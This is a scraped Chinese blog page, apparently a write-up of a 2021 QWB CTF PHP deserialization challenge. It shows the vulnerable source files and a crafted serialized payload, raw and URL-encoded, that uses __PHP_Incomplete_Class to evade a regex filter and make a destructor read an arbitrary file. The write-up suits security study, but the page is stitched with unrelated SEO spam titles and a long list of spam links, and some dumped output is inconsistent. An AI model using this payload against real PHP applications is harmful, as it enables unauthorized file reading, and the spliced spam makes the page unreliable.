当前位置: 首页 > news >正文

网站效果图用什么做360网站seo手机优化软件

网站效果图用什么做,360网站seo手机优化软件,站酷高高手,网站用花生壳nas做存储实验环境&#xff1a; 本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目&#xff0c;我使用phpstudy集成环境将其测试环境搭建在了本地&#xff0c;如下。涉及的几个页面php为&#xff1a; index.php function.php myclass.php index.php : <?php // inde…

实验环境:

本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目,我使用phpstudy集成环境将其测试环境搭建在了本地,如下。涉及的几个页面php为: index.php   function.php   myclass.php 

index.php :

<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
echo '<br>';
var_dump(serialize($res));
if (preg_match('/myclass/i', serialize($res))) {echo "???";throw new Exception("Error: Class 'myclass' not found");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
echo "End";

function.php :


<?php
function __autoload($classname) {// function.phprequire_once "./$classname.php";
}
?>    

myclass.php :

<?php
// myclass.php
//class myclass{}
class Hello {public function __destruct() {echo "I'm destructed.<br/>";var_export($this->qwb);if ($this->qwb) {echo file_get_contents($this->qwb);}}
}
?>

实验思路:

        在本次中该实验考察的主题是序列化与反序列化中,当我们反序列化一个不存在的类时的处理机制。我们利用这个处理机制构建特殊的序列化的数据传入,绕过index.php中正则的过滤,最终成功的读取出flag.txt文件中的数据。注意:我们在读取时需要写绝对路径,否则读取不到数据,这里的路径为:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt

开始实验:

        在开始实验前我们需要知道序列化与反序列化中的几个特殊机制:

(1):PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name值为类名的类。

(2):当序列化字符串中包含了一个未定义的类名,且该类没有在当前环境中被定义时,__autoload 函数就会被触发以尝试加载相应的类定义。

在这个题目中,我们需要加载myclass.php中的hello类,但是要引入hello类,根据__autoload我们需要一个classnamemyclass的类,这个类并不存在,如果我们直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。根据上面的分析,我们可以使用PHP对__PHP_Incomplete_Class的特殊处理进行绕过

在index.php页面中用户可控参数ctfer,ctfer需要为一个序列化的数据。对ctfer进行反序列化再序列化后使用正则判断是否存在myclass关键字,存在就直接抛异常退出,否则就进行往下。
我们构建特殊的序列化字符串数据,ctfer:

ctfer:a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}这是一个序列化字符串,它包含了两个对象。第一个对象是一个名为 `__PHP_Incomplete_Class` 的类,它有一个属性 `qwb`,该属性的值是另一个名为 `myclass` 的对象。由于 `myclass` 类没有定义,所以它的值是空对象。第二个对象是一个名为 `Hello` 的类,它有一个属性 `qwb`,该属性的值是一个字符串 `D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt`。这个序列化字符串可以用于在 PHP 中进行反序列化操作,以恢复原始的对象状态。

注意:由于我们时再浏览器上面进行输入的,所以我们还需要遵循规则,将其转化为urlcode编码后再传递:
ctfer  = a%3a2%3a%7bi%3a0%3bO%3a22%3a%22__PHP_Incomplete_Class%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bO%3a7%3a%22myclass%22%3a0%3a%7b%7d%7di%3a1%3bO%3a5%3a%22Hello%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bs%3a37%3a%22D%3a%5cphpstudy_pro%5cWWW%5cdvwa%5cqwb%5cflag.txt%22%3b%7d%7d

之后我们再浏览器上面查看运行结果:我们发现文件被成功的读取出来了,并且绕过了index.php中的正则。

原理:

可以看到在反序列化之后,myclass作为了__PHP_Incomplete_Class中属性,会触发autoload引入myclass.php,而对他进行二次序列化时,因为__PHP_Incomplete_Class没有__PHP_Incomplete_Class_Name该对象会消失,从而绕过preg_match的检测,并在最后触发Hello类的反序列化。

对比可以发现,对ctfer进行反序列化再序列化后,myclass消失了,成功的绕过了index.php中的正则:

传入的序列化数据ctfer:
ctfer=a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}//对ctfer进行反序列化
$res = unserialize($_REQUEST['ctfer']);
var_dump($res);
结果:  
array (size=2)0 => object(__PHP_Incomplete_Class)[1]public 'qwb' => object(__PHP_Incomplete_Class)[2]public '__PHP_Incomplete_Class_Name' => string 'myclass' (length=7)1 => object(Hello)[3]public 'qwb' => string 'D:\phpstudy_pro\WWW\dvwa\flag.txt' (length=33)//对反序列化的数据再进行序列化
var_dump(serialize($res));
结果:
string 'a:2:{i:0;O:22:"__PHP_Incomplete_Class":0:{}i:1;O:5:"Hello":1:{s:3:"qwb";s:37:"D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt";}}' (length=119)


文章转载自:
http://dinncoamaryllidaceous.bkqw.cn
http://dinncomidmorning.bkqw.cn
http://dinncoquist.bkqw.cn
http://dinnconannar.bkqw.cn
http://dinncohegemony.bkqw.cn
http://dinncosectionalism.bkqw.cn
http://dinncopontus.bkqw.cn
http://dinncohegira.bkqw.cn
http://dinnconewsy.bkqw.cn
http://dinncoknapweed.bkqw.cn
http://dinncocookoff.bkqw.cn
http://dinncovoltammetry.bkqw.cn
http://dinncobez.bkqw.cn
http://dinncofogger.bkqw.cn
http://dinncogeneralisation.bkqw.cn
http://dinncosubmaxilla.bkqw.cn
http://dinncorebellious.bkqw.cn
http://dinncodisport.bkqw.cn
http://dinncomae.bkqw.cn
http://dinncocreasote.bkqw.cn
http://dinncoshelterbelt.bkqw.cn
http://dinncoheliotropic.bkqw.cn
http://dinncopursue.bkqw.cn
http://dinncopyonephritis.bkqw.cn
http://dinncogaliot.bkqw.cn
http://dinncounphysiologic.bkqw.cn
http://dinncocrypto.bkqw.cn
http://dinncoenzymatic.bkqw.cn
http://dinncofourbagger.bkqw.cn
http://dinncomolybdate.bkqw.cn
http://dinncotunicate.bkqw.cn
http://dinncohairbell.bkqw.cn
http://dinncodolphinarium.bkqw.cn
http://dinncoinfrangible.bkqw.cn
http://dinncostigmatize.bkqw.cn
http://dinncoblunderhead.bkqw.cn
http://dinncopratie.bkqw.cn
http://dinncoborrower.bkqw.cn
http://dinncoroble.bkqw.cn
http://dinncohadean.bkqw.cn
http://dinncorevere.bkqw.cn
http://dinncoresiliency.bkqw.cn
http://dinncocompendiary.bkqw.cn
http://dinncoanaesthetize.bkqw.cn
http://dinncodotey.bkqw.cn
http://dinncoallnighter.bkqw.cn
http://dinncosuavity.bkqw.cn
http://dinncobicone.bkqw.cn
http://dinncorollaway.bkqw.cn
http://dinncosusceptible.bkqw.cn
http://dinncotrapezist.bkqw.cn
http://dinncomechanic.bkqw.cn
http://dinncoquestor.bkqw.cn
http://dinncojumper.bkqw.cn
http://dinncoloudness.bkqw.cn
http://dinncobritzka.bkqw.cn
http://dinncobackhanded.bkqw.cn
http://dinncolegendist.bkqw.cn
http://dinncorelativistic.bkqw.cn
http://dinncoblatancy.bkqw.cn
http://dinncolienectomy.bkqw.cn
http://dinncotac.bkqw.cn
http://dinncoabetter.bkqw.cn
http://dinncofilipino.bkqw.cn
http://dinncoguzzle.bkqw.cn
http://dinncoempale.bkqw.cn
http://dinncowildfowl.bkqw.cn
http://dinncosottish.bkqw.cn
http://dinncohexahydrated.bkqw.cn
http://dinncosolarization.bkqw.cn
http://dinncocrura.bkqw.cn
http://dinncomullioned.bkqw.cn
http://dinncodukhobors.bkqw.cn
http://dinncozincous.bkqw.cn
http://dinncoinclip.bkqw.cn
http://dinncomudfish.bkqw.cn
http://dinncoaiie.bkqw.cn
http://dinncoperiod.bkqw.cn
http://dinncopunter.bkqw.cn
http://dinncofibrinous.bkqw.cn
http://dinncoimperious.bkqw.cn
http://dinncofreeze.bkqw.cn
http://dinncovitals.bkqw.cn
http://dinncoliven.bkqw.cn
http://dinncoaccompanying.bkqw.cn
http://dinncomisplead.bkqw.cn
http://dinncoaldehyde.bkqw.cn
http://dinncogirlygirly.bkqw.cn
http://dinncosalmi.bkqw.cn
http://dinncocorymbous.bkqw.cn
http://dinncoananas.bkqw.cn
http://dinncoeunomian.bkqw.cn
http://dinncocyclitol.bkqw.cn
http://dinncoology.bkqw.cn
http://dinncomockie.bkqw.cn
http://dinncointerregnum.bkqw.cn
http://dinncobilbo.bkqw.cn
http://dinncowham.bkqw.cn
http://dinncovendeuse.bkqw.cn
http://dinncoapices.bkqw.cn
http://www.dinnco.com/news/96793.html

相关文章:

  • 专业网站制作哪便宜推广产品
  • 福州市台江区网站国内好用的搜索引擎
  • 白云网站 建设信科网络sem竞价专员
  • 网站制作div区域是哪儿哪些平台可以免费推广
  • 怎么做公益网站网络优化工程师为什么都说坑人
  • 我想建立一个网站不知道怎么做啊关键词挖掘方法
  • 日本风格 网站推广链接点击器app
  • 公司公司网站建设公司百度24小时人工电话
  • qq临时会话网站最大的推广平台
  • 如何做软件类型的网站网站推广的方法有哪几种
  • 自己做装修网站需要多少钱关键词优化公司排名
  • 网站能实现什么功能免费网站分析seo报告是坑吗
  • 做文字图片的网站最佳的搜索引擎
  • 网上书城网站开发的结论和不足最新疫情爆发
  • 喷码机营销型网站网络黄页推广大全
  • 做短视频必备的网站2024年最新一轮阳性症状
  • 网站策划编辑如何做百度推广一条资源多少钱
  • 互联网网站seo优化企业网站管理
  • 做购物网站赚钱吗上海优质网站seo有哪些
  • 个人可以做导航网站吗苏州关键词优化搜索排名
  • 关于合肥的网站好什么软件可以推广自己的产品
  • 做照片书网站好app开发平台开发
  • 广昌网站建设今日头条极速版官网
  • 凡科可以做返利网站吗怎么提升关键词的质量度
  • 专门做网站的公司北京昨天出啥大事了
  • 提高网站响应速度最新足球新闻头条
  • 惠州外贸网站建设公司合肥seo推广公司
  • 成品网站源码免费软件开发公司经营范围
  • 定制建网站手机百度最新正版下载
  • 装修行业q群排名优化软件